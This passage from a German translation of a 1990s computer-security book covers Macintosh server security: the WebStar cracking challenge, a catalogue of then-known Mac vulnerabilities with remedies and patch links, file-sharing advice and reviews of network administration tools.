A Retrospective on the VAX VMM Security Kernel. Paul A. Karger, Mary E. Zurko, Douglas W. Bonin,
Andrew H. Mason und Clifford E. Kahn. IEEE Transactions on Software Engineering ,
17(11):1147-1163. November 1991.
Database Security. S. Castano, M. G. Fugini, G. Martella und P. Samarati. Addison-Wesley Publishing
Company. 1995. (Gutes Kapitel über VAX/VMS.)
Security Guidance for VAX/VMS Systems. Debra L. Banning. Sparta, Inc. 14th National Computer
VAX/VMS
file:///d|/cool stuff/old/hack/kap20.htm (13 von 14) [19.04.2000 21:15:20]
Security Conference, Washington, D.C., Oktober 1991.
A Practical Exercise in Securing an OpenVMS System. Rob McMillan. Prentice Centre, The University
Of Queensland. http://nsi.org/Library/Compsec/openvms.txt
How VMS Keeps Out Intruders. Tanya Candia. Computers & Security, 9(6):499-502. Oktober 1990.
ESNET/DECNET Security Policy Procedures and Guidelines. D. T. Caruso und C. E. Bemis, Jr..
ESnet/DecNet Security Revised Draft. Dezember 1989. http://www.es.net/pub/esnet-
doc/esnet-decnet-security.txt
Approaching Zero. The Extraordinary Underworld of Hackers, Phreakers, Virus Writers, and Keyboard
Criminals. Paul Mungo und Bryan Glough. http://www.feist.com/~tqdb/h/ aprozero.txt
VMS Monitor Vulnerability. CERT-Advisory. CA-92:16. 22. September 1992. http://
www.arc.com/database/Security_Bulletins/CERT/CA-92:16.VMS.Monitor.vulnerability
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21
Macintosh
Einige von Ihnen werden sich vielleicht wundern, daß ich dem Macintosh überhaupt ein Kapitel widme.
Stirbt der Macintosh nicht aus? Verwendet überhaupt noch jemand Macintosh-Rechner als
Internet-Server? Diese Fragen werden mir oft von meinen Kunden gestellt. Sie überlegen ernsthaft, ob
sie ihre heiß geliebten Macs nicht zugunsten irgendeines anderen Systems opfern sollten.
Wenn ich so etwas höre, lache ich meistens nur. Microsofts Propaganda-Maschine bewirkt wirklich eine
Menge. Dabei gibt es sehr viele Firmen, die Macintosh-Server verwenden und nicht die Absicht haben,
daran etwas zu ändern. Deshalb schreiben Software-Entwickler auch weiterhin gute
Sicherheitsprogramme für die Macintosh-Plattform. Wenn sich in Ihrem Netzwerk Macintosh-Rechner
befinden, sollten Sie den Kopf also nicht hängen lassen. Einige Software-Firmen haben vor kurzem
umfangreiche Sicherheits-Tools für die Verwaltung von Macintosh-Netzwerken herausgebracht. Einige
dieser Utilities werden wir uns später ansehen. Vorher möchte ich jedoch kurz auf den Macintosh als
Server-Plattform eingehen.
21.1 Einrichtung eines Macintosh-Web-Servers
Die Einrichtung eines Macintosh Internet Information Servers war früher einmal eine recht
beängstigende Aufgabe. Das ist heute zum Glück nicht mehr so. Es gibt inzwischen viele Server-Pakete,
mit denen Sie diese Aufgabe in Minuten erledigen können. Einige davon habe ich in Tabelle 21.1
aufgelistet.
Tabelle 21.1: Populäre Server-Suiten für den Mac
Server URL
AppleShare IP http://www.apple.com/appleshareip/
CL-HTTP http://www.ai.mit.edu/projects/iiip/doc/cl-http/
FireSite http://www.clearway.com/pages/FireSite-home.html
HomeDoor http://www.opendoor.com/homedoor/
MacHTTP http://www.starnine.com/machttp/machttp.html
Macintosh
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Net Servers http://www.pictorius.com/netservers.html
Quid Pro Quo http://www.socialeng.com/
Web Server 4D http://www.mdg.com/4DWS/features/all.html
WebStar 3.0 http://www.starnine.com/webstar/webstar.html
WebTen 2.0 http://www.tenon.com/products/webten/
Von den in Tabelle 21.1 aufgeführten Servern wurden nur die Sicherheitsmerkmale von einem, nämlich
WebStar, einer breiteren Öffentlichkeit bekannt. Bevor ich auf die einzelnen Schwachstellen der
Macintosh-Plattform eingehe, möchte ich diese Geschichte kurz erzählen.
21.1.1 Die WebStar-Herausforderung
Am 15. Oktober 1995 wurde im Internet zu folgender Herausforderung aufgerufen: Ein
Macintosh-Web-Server, auf dem WebStar lief, sollte geknackt werden. Jedem, der dies schaffen würde,
winkte eine Belohnung in Höhe von 10.000 Dollar. Diese Aktion sollte demonstrieren, daß ein
Macintosh-Web-Server sicherer ist als ein Unix-Rechner. Die 10.000 Dollar wurden auch tatsächlich
einkassiert, allerdings erst zwei Jahre später! Lassen Sie mich die Geschichte von Anfang an erzählen.
Die Herausforderung von 1995 lief ca. 45 Tage, und obwohl viele es versuchten, schaffte es niemand,
den Macintosh zu knacken. Chris Kilbourn, Systemadministrator bei der Firma, von der die Aktion
ausging (digital.forest in Seattle, Washington), beschrieb dies so:
Während der 45 Tage, die der Wettbewerb lief, war niemand in der Lage, die
Sicherheitsbarrieren zu durchbrechen und sich den Preis zu holen. Normalerweise habe ich
den Netzwerkpaket-Analyzer ca. 3-5 Stunden pro Tag laufen lassen, um interessante, an den
zu knackenden Server gerichtete Pakete herauszufiltern. Ich erzeugte Paketfilter, die den
gesamten TCP/IP-Netzwerkverkehr von und zu dem Server abfingen. Am meisten amüsierte
mich, daß trotz der umfangreichen technischen Spezifikationen, die auf dem Server gepostet
waren, die meisten Leute dachten, daß der Server ein Unix- Rechner sei! TCP/IP-Dienste
auf einem Macintosh haben nicht die auf Unix-Systemen verfügbare
Low-Level-Kommunikation, was für zusätzliche Sicherheit sorgt. Wenn Sie darauf achten,
daß Ihre Mail-, FTP- und HTTP-Dateiräume sich nicht überlappen, gibt es keine
Möglichkeit, Daten von einem Dienst zu einem anderen zu schleusen und auf diese Weise
die Sicherheitsvorkehrungen zu umgehen.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus Chris Kilbourns Artikel »The $10,000 Macintosh World Wide
Web Security Challenge: A Summary of the Network and the Attacks«, den Sie unter
http://www.forest.net/advanced/securitychallenge.html finden können.
Im August 1997 schaffte ein australischer Hacker namens StarFire es schließlich, sich Zugang zu einem
WebStar-Server zu verschaffen, indem er die Sicherheitslöcher in zwei Programmen von Drittanbietern
ausnutzte. Die Attacke beruhte hauptsächlich auf einer Sicherheitslücke in Lasso von Blue World. Da
Macintosh
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Lasso eine sehr beliebte Anwendung ist, möchte ich auf dieses Problem gerne näher eingehen.
21.1.2 Lasso von Blue World
Lasso ist ein Programm zur Anbindung von FileMaker-Datenbanken. In der Lasso-Dokumentation heißt
es:
Mit Lasso können Besucher einer Internet-Webseite Datensätze zu FileMaker-Pro-
Datenbanken hinzufügen, nach ihnen suchen, sie aktualisieren oder löschen. Außerdem
verfügt Lasso noch über weitere Eigenschaften, die den Besuchern einer solchen Webseite
ein besonders hohes Maß an Interaktivität ermöglichen.
Wegweiser:
Die vollständige Lasso-Dokumentation finden Sie unter
http://www.blueworld.com/lasso/2.0_User_Guide/Docs/default.html .
Lasso hat eingebaute Sicherheitsmechanismen, die mit den meisten anderen CGI/Datenbank-Paketen
vergleichbar (und teilweise sogar strenger als diese) sind. Der Zugriff kann auf viele verschiedene Arten
eingeschränkt werden, obwohl der Paßwortschutz nach wie vor die üblichste ist. (Lasso ermöglicht auch
eine grundlegende HTTP-Authentifizierung, die jedoch keinen Schutz vor Sniffer-Attacken bietet.)
Zusätzlich dazu kann man den Zugriff auf bestimmte Felder oder Datensätze einer Datenbank
beschränken. Offensichtlich bietet Lasso also einiges an Sicherheit. Was lief falsch?
Der Crack war so einfach wie genial. Wie ich in Kapitel 3, »Die Geburt eines Netzwerks: Das Internet«,
erläutert habe, können Programme, die für sich gesehen sicher sind, gefährdet sein, sobald sie zusammen
mit anderen Programmen verwendet werden. Der Lasso-Crack beruht genau auf diesem Zusammenhang.
Der Angreifer verwendete Lasso, um an das Admin-Paßwort eines CGI-Programms mit Namen SiteEdit
zu gelangen. Nachdem er dieses Paßwort hatte, konnte er in das System eindringen und Webseiten
ändern. Und damit war die Macintosh-Herausforderung vorbei.
Blue World hat seitdem mehrere Patches für die unterschiedlichen Lasso-Versionen herausgebracht, die
im Internet erhältlich sind. Wenn Sie einen Server mit Lasso betreiben, sollten Sie sich den
entsprechenden Patch besorgen. In Tabelle 21.2 sind die URLs der Patches aufgeführt.
Tabelle 21.2: Patches für Lasso und ihre URLs
Version URL
Lasso 1.2.1 CGI ftp://ftp.blueworld.com/_Lasso1x/_SecurityPatches/Lasso.acgi1.2.2patch.hqx
Lasso 1.2.1 Plugin ftp://ftp.blueworld.com/_Lasso1x/_SecurityPatches/LassoPlugin1.2.2.hqx
Lasso 1.2.2 CGI ftp://ftp.blueworld.com/_Lasso1x/_SecurityPatches/Lasso.acgi1.2.3patch.hqx
Lasso 1.2.2 Plugin ftp://ftp.blueworld.com/_Lasso1x/_SecurityPatches/LassoPlugin1.2.3patch.hqx
Lasso 2.0 CGI ftp://ftp.blueworld.com/_Lasso20/_SecurityPatches/Lasso.acgi2.0.2patch.hqx
Lasso 2.0 Plugin ftp://ftp.blueworld.com/_Lasso20/_SecurityPatches/LassoPlugin2.0.2patch.hqx
Macintosh
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Lasso 2.0 Server ftp://ftp.blueworld.com/_Lasso20/_SecurityPatches/LassoServer2.0.2patch.hqx
Lasso 2.0.2 CGI ftp://ftp.blueworld.com/_Lasso20/_SecurityPatches/Lasso.acgi2.0.3patch.hqx
Lasso 2.0.2 Plugin ftp://ftp.blueworld.com/_Lasso20/_SecurityPatches/LassoPlugin2.0.3patch.hqx
Lasso 2.0.2 Server ftp://ftp.blueworld.com/_Lasso20/_SecurityPatches/LassoServer2.0.3patch.hqx
Eines hat die Macintosh-Herausforderung gezeigt: Jedes System, wie gut es auch konzipiert sein mag,
kann Opfer einer Attacke werden. Wenn Sie Software von Drittanbietern verwenden, gibt es immer die
Möglichkeit, daß eine unbekannte Sicherheitslücke zutage tritt. Interessanterweise räumt Blue World ein,
daß die WebStar-API zumindest eine Teilschuld an dem Crack trägt. Sie sollten sich darüber im klaren
sein, daß ein Programm für sich genommen sicher sein mag; aber bis Sie es in eine größere Umgebung
integrieren, werden Sie nie wissen, wie sicher es wirklich ist.
Bedeutet das jetzt, daß Macintosh-Web-Server keine gute Wahl sind? Nein, im Gegenteil. Bis heute
wurden sehr viel weniger Sicherheitsverletzungen bei Macintosh-Servern bekannt als auf jeder anderen
Plattform.
21.1.3 Informationen zum Macintosh-Web-Server
Bevor Sie mit der Einrichtung eines Macintosh-Web-Servers beginnen, sollten Sie dieses
Online-Dokument auf der Apple-Site lesen: Getting Your Apple Internet Server Online. Obwohl einige
Links darin nicht mehr aktuell sind, ist dieses Dokument wahrscheinlich die umfassendste Anleitung, die
derzeit verfügbar ist.
21.2 Schwachstellen auf der Macintosh-Plattform
21.2.1 Schwachstelle FoolProof
Versionen: alle
Auswirkungen: Angreifer können an das aktuelle FoolProof-Paßwort gelangen.
Einstufung: kritisch
Abhilfe: keine
Beigetragen von: Mark M. Marko
FoolProof von SmartStuff ist ein Sicherheitsprogramm, das eine Zugriffskontrolle sowohl für Windows
als auch den Macintosh anbietet. (Viele Computerläden verwenden FoolProof, um zu verhindern, daß
Kunden ihre Konfigurationen zerstören.) Normalerweise wird es zum Schutz der Systemdateien und
-verzeichnisse verwendet, ohne die ein System nicht funktionsfähig ist.
Leider speichert FoolProof die Paßwörter im Speicher, so daß man leicht auf sie zugreifen kann. Mark
Marko hat darauf im Februar 1998 hingewiesen und war überrascht von SmartStuffs Antwort. Marko
Macintosh
file:///d|/cool stuff/old/hack/kap21.htm (4 von 22) [19.04.2000 21:15:24]
schreibt:
Ich habe versucht, mit jemandem bei SmartStuff zu sprechen, aber es scheint sie nicht zu
interessieren. Sie sagten, ich hätte mich geirrt, denn sie verwendeten eine 128-Bit-
Verschlüsselung.
Die SmartStuff-Mitarbeiter mögen es vielleicht nicht glauben, aber Marko lag ganz richtig. Das Paßwort
wird im Speicher in Klartext gespeichert. Jeder, der einen Speicher-Editor verwendet, kann an das
Paßwort gelangen. (Interessanterweise werden auch die Hotkey-Kombinationen im Speicher
aufbewahrt.) Es gibt dafür keine Abhilfe. Ich würde Ihnen empfehlen, sich an SmartStuff zu wenden.
21.2.2 Denial of Service durch Port-Überlauf
MacOS-Versionen: 7.1, 7.8
Auswirkungen: Angreifer können den Rechner durch Port-Scans zum Absturz bringen.
Einstufung: mittel
Abhilfe: Besorgen Sie sich OpenTransport 1.2.
Beigetragen von: VallaH
MacOS-Rechner mit TCP/IP und System 7.1 oder 7.8 sind der Gefahr einer DoS-Attacke ausgeliefert.
Wenn diese Rechner einem schweren Port-Scan ausgesetzt werden, versagen sie den Dienst. (7.1 stürzt
ab und 7.8 fährt die CPU auf eine 100%-Auslastung.) Berichten zufolge wurde dieser Fehler in
OpenTransport 1.2 behoben.
21.2.3 MacDNS-Bug
Anwendung: MacDNS
Auswirkungen: MacDNS ist für DoS-Attacken anfällig.
Einstufung: mittel
Abhilfe: keine
Beigetragen von: Matt Leo
MacDNS stellt einen Domain Name Service für Netzwerke zur Verfügung und läuft auf
Macintosh-Internet-Servern. Leider versagt MacDNS den Dienst, wenn es mit hoher Geschwindigkeit
mit Anfragen bombardiert wird. (Das Problem wurde ursprünglich entdeckt, als eine Firewall versuchte,
Weiterleitungen für jede angeforderte URL aufzulösen.) Dies wurde inzwischen als eine echte
DoS-Attacke bestätigt, die von entfernten Angreifern reproduziert werden kann. Leo schlägt als
Abwehrmaßnahme eine Paketfilterung vor. Oder Sie wenden sich an Apple.
Macintosh
file:///d|/cool stuff/old/hack/kap21.htm (5 von 22) [19.04.2000 21:15:24]
21.2.4 Sequence of Death und WebStar
Anwendung: WebStar und NetCloak kombiniert (nicht bei WebStar alleine)
Auswirkungen: WebStar-Server mit NetCloak können abstürzen, nachdem sie die Sequence of Death
erhalten haben.
Einstufung: ernst
Abhilfe: NetCloak entfernen oder Upgrade
Beigetragen von: Jeff Gold
Dies ist eine allgemeine DoS-Schwachstelle bei älteren WebStar-Versionen, die nichts mit Apple zu tun
hat. (Das Sicherheitsloch kann nur auf einem Server reproduziert werden, auf dem auch NetCloak läuft.)
Gold fand heraus, daß der WebStar-Server abstürzt, wenn Sie bestimmte Zeichenketten an eine URL
anhängen. Macworld brachte einen Artikel über dieses Sicherheitsloch heraus, und die Mitarbeiter der
Zeitschrift haben die Sache auch selbst untersucht:
...Mac-Webmaster Jeff Gold war nicht länger frustriert, sondern stark beunruhigt, als er
feststellte, daß ein bloßer Tippfehler seine gesamte Mac-Site zum Absturz gebracht hatte.
Gold verwendete zu dem Zeitpunkt die Web-Server-Software WebStar von StarNine und die
Plugin-Version von NetCloak 2.1 von Maxum Development, ein populäres Add-On für
WebStar. Wenn man einer URL bestimmte Zeichen anfügt, stürzt NetCloak ab und damit
auch der Server. Um die Tausende Sites, die NetCloak verwenden, zu schützen, werden
weder Gold noch Macworld die Zeichenfolge veröffentlichen, aber sie ist nicht allzu
kompliziert. Nach einer weiteren Untersuchung des Problems hat Macworld entdeckt, daß
dieser Fehler nur auftritt, wenn die Plug-In- Version von NetCloak auf dem Server läuft. Als
wir das Plug-In entfernten und statt dessen das NetCloak-CGI verwendeten, brachte die
Sequence of Death nur eine harmlose Fehlermeldung hervor.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus einem Artikel von Jim Heid: »Mac Web-Server Security Crisis:
Specific Character Sequence Crashes Servers«. Sie finden ihn online unter
http://macworld.zdnet.com/daily/daily.
973.html.
NetCloak ist ein Produkt von Maxum Development. Sie können sich an Maxum wenden, um
Informationen zu Upgrades zu erhalten:
Maxum Development Corporation
820 South Bartlett Road Suite 104
Streamwood, Illinois 60108
Tel.: 001-630-830-1113
Fax: 001-630-830-1262
E-Mail: info@maxum.com URL: http://www.chi.maxum.com/CoInfo/
Macintosh
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21.2.5 Der DiskGuard-Bug
Anwendung: DiskGuard
Auswirkungen: DiskGuard 1.5.3 kann sogar autorisierten Benutzern den Zugriff auf ihre Festplatten
verweigern.
Einstufung: ernst
Abhilfe: Upgrade
Beigetragen von: unbekannt
Manchmal führen sogar Sicherheitsapplikationen selbst zu Sicherheitsproblemen. Das war auch bei
DiskGuard der Fall. DiskGuard ist ein äußerst beliebtes Sicherheitsprogramm, das den Zugang zu
Verzeichnissen, Dateien und Festplatten einschränkt. Es war eine ziemliche Überraschung für die
Benutzer, als sie nach Installation von Version 1.5.2 nicht mehr auf ihre Festplatten zugreifen konnten.
Macworld knöpfte sich den Hersteller von DiskGuard, ASD Software, Inc., in einem Artikel über dieses
Problem vor. Die Autorin, Suzanne Courteau, schrieb folgendes:
Sicherheitssoftware soll eigentlich die Bösewichte aussperren, Sie selbst jedoch
hereinlassen. In einigen Fällen verweigerte ASDs DiskGuard aber sogar den
Systemeigentümern den Zugriff auf ihre Rechner. Diese Woche hat das Unternehmen nun
einen Patch für diese Sicherheitsapplikation herausgebracht. Version 1.5.4 behebt einige
Kompatibilitätsprobleme - darunter gesperrte und unzugängliche Festplatten - zwischen
DiskGuard 1.5.3 und verschiedenen Mac-Systemen. Wenn Sie DiskGuard auf einem
PowerMac 7200, 7500, 8500 oder einem PowerBook 5300/5300c verwenden, rät die
technische Supportabteilung von ASD Ihnen zu einem Upgrade. Der Patch ist direkt bei
ASD Software erhältlich (909/624-2594) oder im ASD-Forum bei CompuServe (Go ASD).
ASD Software, Inc., kann auch unter folgender Adresse kontaktiert werden:
ASD Software, Inc.
4650 Arrow Highway, Ste. E-6
Montclair, CA 91763
E-Mail: info@asdsoft.com URL: http://www2.asdsoft.com/
21.2.6 Schwachstelle Retrospect
Anwendung: Retrospect
Auswirkungen: Entfernte Benutzer mit Retrospect können auf Ihre Festplatten zugreifen.
Einstufung: ernst
Abhilfe: Upgrade
Beigetragen von: unbekannt
Retrospect ist ein beliebtes Paket für MacOS zum Sichern von Volumes. Im Sicherheits- Advisory von
Apple heißt es:
Macintosh
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Wenn Sie das Remote-Kontrollfeld von Retrospect installieren und neu starten, ist Remote
aktiviert und wartet darauf, daß der Server einen Sicherheits-Code und eine Seriennummer
herunterlädt. Wenn der Server dies nicht tut, kann jeder mit Retrospect und einem Satz
Seriennummern Ihr System initialisieren, ein Backup von Ihrer Festplatte auf seine machen
und Ihr System wieder verlassen, ohne daß Sie etwas merken.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus dem Artikel »Retrospect Remote Security Issue« (Artikel-ID:
TECHINFO-0016556; 19960724. Apple Technical Info Library, Februar 1995). Sie finden ihn im Web
unter http://cgi.info.apple.com/cgi-bin/read.wais.doc.pl?/wais/TIL/DataComm!Ne
ting&Cnct/Apple!Workgroup!Servers/Retrospct!Remote!Security!Issue .
21.2.7 Der At-Ease-Bug
Anwendung: At Ease 4.0
Auswirkungen: Es kann zur Beschädigung von Festplatten kommen.
Einstufung: kritisch
Abhilfe: Upgrade
Beigetragen von: unbekannt
Wenn Sie ein PowerBook 3400 haben und vorhaben, At Ease 4.0 zu installieren, sollten Sie den
Disketten-Bootschutz nicht aktivieren. Wenn Sie es doch tun, wird Ihre Festplatte dauerhaft beschädigt.
Sie werden nicht mehr mit herkömmlichen Mitteln (Bootdiskette, SCSI- Laufwerk, CD-ROM oder
andere Methoden) auf Ihre Festplatte zugreifen können.
21.2.8 Network Assistant
Anwendung: Network Assistant
Auswirkungen: Entfernte Benutzer können auf Ihre Laufwerke und Ihr Netzwerk zugreifen.
Einstufung: ernst
Abhilfe: Default-Paßwort ändern
Beigetragen von: unbekannt
Das Default-Paßwort für Network Assistant ist in Cracker-Kreisen allgemein bekannt. Wenn Sie es nicht
ändern, können Cracker Ihr System von entfernten Hosts aus attackieren. Diese Schwachstelle ist sehr
ernst, aber einfach zu beheben.
Macintosh
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21.2.9 Paßwort-Sicherheit bei MacOS-8.0-Upgrades
System: MacOS 8.0 mit PowerBook 2400 und 3400
Auswirkungen: Der Paßwortschutz funktioniert nicht.
Einstufung: ernst
Abhilfe: http://til.info.apple.com/techinfo.nsf/artnum/n26056/
Beigetragen von: Apple
Wenn Sie 8.0 über ältere Versionen installieren, wird das Paßwort-Kontrollfeld deaktiviert und der
Paßwortschutz funktioniert nicht mehr. Um dieses Problem zu beheben, sollten Sie entweder den Patch
oder 8.0 neu installieren und eine ältere Version behalten, mit der Sie booten. Booten Sie immer, wenn
Sie die Paßworteinstellungen verändern wollen, mit der älteren Version.
21.3 Gemeinsame Dateinutzung und Sicherheit
Die gemeinsame Nutzung von Dateien ist ein weiteres Sicherheitsproblem bei MacOS. Die Schwere des
Problems hängt davon ab, welche Festplatten und Ressourcen zur gemeinsamen Nutzung freigegeben
werden. Das Filesharing-System vom Macintosh ist nicht weniger umfassend (und auch nicht viel
sicherer) als das von Microsoft Windows 95. Der einzige wesentliche Unterschied besteht darin, daß Sie
in der Macintosh-Umgebung eine sorgfältige Auswahl der Dateien treffen, die Sie freigeben wollen. Dies
geschieht durch Einstellen der gewünschten Optionen im Kontrollfeld Sharing Options.
Wegweiser:
Ein kurzes Tutorial zu der Einstellung der Freigabe-Optionen finden Sie unter
http://bob.maint.alpine.k12.ut.us/ASD/Security/MacSecurity.html# Sys7Sharing. Macintosh Network
Security. Alpine School District Network Security Guidelines. (Leider konnte ich nicht herausfinden,
wer der Autor ist. Sie oder er hat gute Arbeit geleistet.)
Die Freigabe von Dateien kann eine komplizierte Angelegenheit sein. Ihre Wahl wird von den
Vertrauensbeziehungen innerhalb Ihrer Organisation abhängen. Eine falsche Wahl zu treffen, kann Sie
teuer zu stehen kommen. Deshalb sollten Sie die Freigaben von Anfang an sorgfältig planen. (Und wenn
Sie gar kein Filesharing benötigen, sollten Sie es natürlich ganz vermeiden. Weiter hinten in diesem
Kapitel stelle ich Programme vor, die unautorisierten Zugriff auf Verzeichnisse und Kontrollfelder
abblocken können. Damit können Sie sicherstellen, daß keine Freigabe erfolgt.) Der vielleicht wichtigste
Punkt bei der Sicherung eines Macintosh-Netzwerks ist die Erziehung der Benutzer zu einem
sicherheitsbewußten Verhalten.
Macintosh-Benutzer sind keine Sicherheitsfanatiker, aber das ist auch kein Verbrechen. Dennoch machen
sich viele Unix- und Windows-NT-Anwender über Macintosh-Benutzer lustig, da diese angeblich so
wenig über ihre Architektur oder das Betriebssystem wissen. Dieses Argument taucht im Usenet im
ewigen Kampf der Betriebssysteme immer wieder auf. Mein Lieblingssystem ist zwar Unix, aber ich
verrate Ihnen ein Geheimnis: Es kommt gar nicht darauf an, welches Betriebssystem Sie verwenden,
sondern darauf, wie produktiv Sie es einsetzen können. Dieselben Leute, die Macintosh-Benutzer
Macintosh
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kritisieren, verbringen oft Stunden (oder sogar Tage) mit dem Versuch, ihre 300-MHz-Rechner (und
9-Mbyte-Video-Adapterkarten) zum Laufen zu bringen. Sie kämpfen mit Plug&Play (das nicht
funktioniert) und sitzen die meiste Zeit vor dem Inneren ihres Rechners, ihre Hände vergraben in einer
unglaublichen Masse aus Kabeln und Karten. Dagegen habe ich erst zweimal einen meiner
Macintosh-Kunden vor einem geöffneten Rechner sitzen sehen. Wenn Sie also einen Macintosh
verwenden, nur zu!
Dennoch sind Macintosh-Benutzer nicht sehr sicherheitsbewußt; das ist leider eine Tatsache. Jede
Änderung dieser Einstellung ist auf jeden Fall ein Fortschritt. Zumindest sollte jeder Anwender ein
starkes Paßwort für sich als Eigentümer des Rechners festlegen. (Macintosh- Paßwörter sind genauso
Angriffen ausgesetzt wie die Paßwörter auf allen anderen Plattformen.) Schließlich (und vielleicht ist
dies am wichtigsten) müssen alle Zugangsprivilegien von Gastzugängen deaktiviert werden.
21.3.1 Server-Verwaltung und Sicherheit
Die Einrichtung eines Web-Servers ist eine aufwendige Aufgabe, aber nicht vergleichbar mit der
Wartung eines solchen Servers. Das ist besonders dann der Fall, wenn der Web-Server nur ein kleiner
Teil Ihres Netzwerks ist, oder wenn Sie unterschiedlichen Abteilungen oder Kunden unterschiedliche
Sicherheitsprivilegien zuweisen müssen.
Sie haben grundsätzlich zwei Möglichkeiten:
Die Programmierung speziell für Sie entwickelter Software in Auftrag zu geben
Anwendungen von Drittanbietern zu verwenden
Eigens für Sie entwickelte Software ist teuer und braucht Zeit. Wenn Sie ein paar Web-Server
zusammenwerfen und sie fernwarten wollen, empfehle ich Ihnen, für diese Aufgabe vorgefertigte
Lösungen zu verwenden. Wenn Ihre Umgebung hauptsächlich Macintosh-Rechner beherbergt, sollten
Sie auf die folgenden Anwendungen nicht verzichten.
21.3.2 EtherPeek v.3.5 von AG Group
The AG Group, Inc.
2540 Camino Diablo, Suite 200
Walnut Creek, CA 94596
Tel.: 001-510-937-7900
E-Mail: sheri@aggroup.com URL: http://www.aggroup.com/
EtherPeek ist ein Protokoll-Analyzer für Macintosh, der eine große Auswahl an Protokollen unterstützt,
darunter die folgenden:
IP
AppleTalk
Netware
IPX/SPX
NetBEUI
NetBIOS
Macintosh
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DECnet
SMB
OSI TARP
Etherpeek ist kein durchschnittlicher Analyzer, sondern ein gut konzipierter, kommerzieller Sniffer. Er
umfaßt eine automatische IP-MAC-Übersetzung, Multicasts, Echzeitstatistik und Echtzeitüberwachung.
Die neueste Version enthält auch eine integrierte Unterstützung zur Abwehr der DoS-Attacke LAND, die
vor kurzem so viele Server lahmgelegt hat. Wenn Sie eine Unternehmensumgebung verwalten, ist dieses
Programm ein guter Kauf.
21.3.3 InterMapper 2.0 von Dartmouth Software Development
Dartmouth Software Development
Dartmouth College
6028 Kiewit Computer Center
Hanover, NH 03755-3523
Tel.: 001-603-646-1999
E-Mail: Intermapper@dartmouth.edu URL: http://www.dartmouth.edu/netsoftware/intermapper/
InterMapper (entwickelt von Bill Fisher und Rich Brown) ist ein ausgezeichnetes Tool, das
Macintosh-Systemadministratoren eine Menge Zeit und Arbeit ersparen kann. Die Anwendung
überwacht Ihr Netzwerk auf mögliche Änderungen der Topologie oder den Ausfall von Diensten. Die
Netzwerkverwaltung erfolgt mit Hilfe von SNMP (Simple Network Management Protocol).
Eine besonders interessante Eigenschaft von InterMapper ist, daß es einen Schnappschuß des Netzwerks
erstellen kann. Das ist eine graphische Darstellung Ihrer Netzwerktopologie. (Die Netzwerktopologie
wird mehr oder weniger automatisch ermittelt, wodurch eine Menge Zeit gespart wird.) InterMapper
ermöglicht es Ihnen sogar, die Schnappschüsse auf mehrere Monitore zu verteilen, so daß Sie eine
vergrößerte Darstellung erhalten.
Der Netzwerkschnappschuß ist sehr detailliert, so daß Sie Router, die nicht verfügbar sind oder Probleme
haben, sehr schnell ausfindig machen können. (Sie können einen Wert bestimmen, der angibt, wie viele
Fehler auf Router-Ebene zulässig sind. Hat ein Router diesen Wert überschritten, wird er in einer anderen
Farbe dargestellt.) Wenn Sie ein Element anklicken (ob Rechner oder Router), erhalten Sie eine
Informationstafel mit der IP-Adresse dieses Elements, seinem Durchsatz, der Fehlerzahl und so weiter.
Wenn es an einem bestimmten Knoten Ärger gegeben hat, werden Sie umgehend per Pager informiert.
Alles in allem ist InterMapper ein sehr vollständiges Paket zur Netzwerkanalyse und -verwaltung.
InterMapper bietet eine gleichzeitige Unterstützung für AppleTalk und IP. Die Demoversion finden Sie
unter http://www.dartmouth.edu/netsoftware/intermapper/demoForm.html.
21.3.4 Netlock von Interlink Computer Sciences
Interlink Computer Sciences
47370 Fremont Boulevard
Fremont, CA 94538
Tel.: 001-510-657-9800
Macintosh
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E-Mail: salesadmin@interlink.com URL: http://www.interlink.com/
NetLock ist ein sehr leistungsfähiges Anwendungspaket für die Datensicherung. Es ermöglicht eine
RSA-Verschlüsselung Ihrer Netzwerksitzungen und schützt daher Paßwörter, Logins und andere sensible
Daten vor dem Zugriff von Unbefugten. Außerdem werden die Daten einer Integritätsprüfung
unterworfen, um sicherzugehen, daß keine Manipulation stattgefunden hat.
Die Verschlüsselung erfolgt auf Paketebene und entspricht den Spezifikationen RC2, RC4, DES und
Triple-DES (mit Ausnahme der Export-Version mit höchstens 40-Bit-Schlüsseln). Für die Überprüfung
der Datenintegrität wird MD-5 verwendet. Daher ist NetLock extrem sicher und höchstens mit sehr
komplizierten Angriffen zu knacken.
Zu guter Letzt bietet NetLock noch die Möglichkeit der zentralen Verwaltung großer Netzwerke und der
systematischen Verteilung der Sicherheitskontrollen. Momentan unterstützt NetLock MacOS 7.53 und
höher.
21.3.5 MacRadius von Cyno
Cyno Technologies, Inc.
1082 Glen Echo Avenue
San Jose, CA 95125
Tel.: 001-408-297-7766
E-Mail: CynoTek@cyno.com URL: http://www.cyno.com/
Um RADIUS kommen Sie nicht herum, wenn Sie einen ISP oder ein anderes System betreiben, das
Einwählverbindungen ermöglicht. Die Verwaltung von Einwähldiensten für Anwender kann sehr
schwierig, verwirrend und zeitaufwendig sein. An dieser Stelle setzt RADIUS an. Die Autoren der
RADIUS-Spezifikation beschreiben das Problem und dessen Lösung folgendermaßen:
Da Modem-Pools naturgemäß eine Verbindung mit der Außenwelt darstellen, erfordern sie
besondere Aufmerksamkeit hinsichtlich der Sicherheit, Zugriffsberechtigung und
Abrechnung. Dies kann am besten durch die Verwaltung einer einzigen Datenbank von
Benutzern geschehen, die eine Authentifizierung (Überprüfung von Benutzername und
Paßwort) ermöglicht sowie Konfigurationsinformationen enthält, die im einzelnen angeben,
welche Art Service dem Benutzer zur Verfügung gestellt wird (z.B. SLIP, PPP, telnet,
rlogin). RADIUS-Server sind verantwortlich für den Empfang von
Verbindungsanforderungen der Benutzer, die Authentifizierung der Benutzer und die
Lieferung aller erforderlichen Konfigurationsinformationen an den Client, damit dieser dem
Benutzer den gewünschten Service zur Verfügung stellen kann.
Wegweiser:
Um mehr über RADIUS zu erfahren, sollten Sie sich den RFC 2058 besorgen, den Sie unter folgender
Adresse finden: http://info.internet.isi.
edu:80/in-notes/rfc/files/rfc2058.txt.
Kurzum ermöglicht RADIUS die einfache Verwaltung einer zentralen Datenbank, von der aus alle sich
einwählenden Benutzer authentifiziert werden. RADIUS-Implementierungen unterstützen viele
Macintosh
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verschiedene Dateiformate, einschließlich nativer Unix-Paßwortdateien. Außerdem beinhalten sie noch
eine grundlegende Protokollierungsfunktion, mit der Sie feststellen können, wer wann und wie lange
eingeloggt war.
Wenn Sie schon immer davon geträumt haben, die Funktionalität von RADIUS auch für MacOS zu
